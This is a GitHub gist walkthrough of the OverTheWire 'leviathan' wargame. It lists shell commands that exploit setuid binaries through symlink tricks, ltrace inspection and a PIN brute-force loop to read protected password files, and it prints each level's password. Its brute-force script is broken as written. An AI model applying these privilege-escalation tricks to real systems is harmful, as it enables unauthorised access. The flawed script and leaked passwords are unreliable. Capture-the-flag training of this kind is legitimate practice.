Skip to content

Instantly share code, notes, and snippets.

@aklap
Created May 28, 2016 14:44
Show Gist options
  • Save aklap/313849eb385a134062f86b913d230c7a to your computer and use it in GitHub Desktop.
Save aklap/313849eb385a134062f86b913d230c7a to your computer and use it in GitHub Desktop.
leviathan@overthewire

Level 1


ls -la    
cd ./backup    
cat ./bookmarks-html | grep password    

pw: rioGegei8m

Level 2


file ./check    
./check    
jdfksl    
ltrace ./check    
sex    
cat /etc/leviathan_pass/leviathan2    

pw: ougahZi8Ta

Level 3


ls    
./printfile filename
ln -s /etc/leviathan_pass/leviathan3 /tmp/dir_name/link
touch /tmp/dir_name/link\ pass
./printfile /tmp/crikey/link\ pass

pw: Ahdiemoo1j

Level 4


ls 
./level3
jkl
ltrace ./level3
jkl
kakaka
ltrace ./level3
snlprintf
cat /etc/leviathan_pass/leviathan4

pw: vuH0coox6m

Level 5


ls
cd trash/
ls
file bin
cat bin

(convert to text from binary; I was lazy and used online converter)

pw: Tith4cokei

Level 6


ls 
file leviathan5
cat leviathan5
ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
./leviathan5

pw: UgaoFee4li

Level 7


ls 
./leviathan6
touch script.sh
vi script.sh

In script.sh file: 

!#/bin/bash

for n in {0000..9999}
do
    ./leviathan6 n
done

./script.sh

(Wait for it to hit on the right pin and then drop into level 7 shell.)

cat /etc/leviathan_pass/leviathan7

pw: ahy7MaeBo9

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment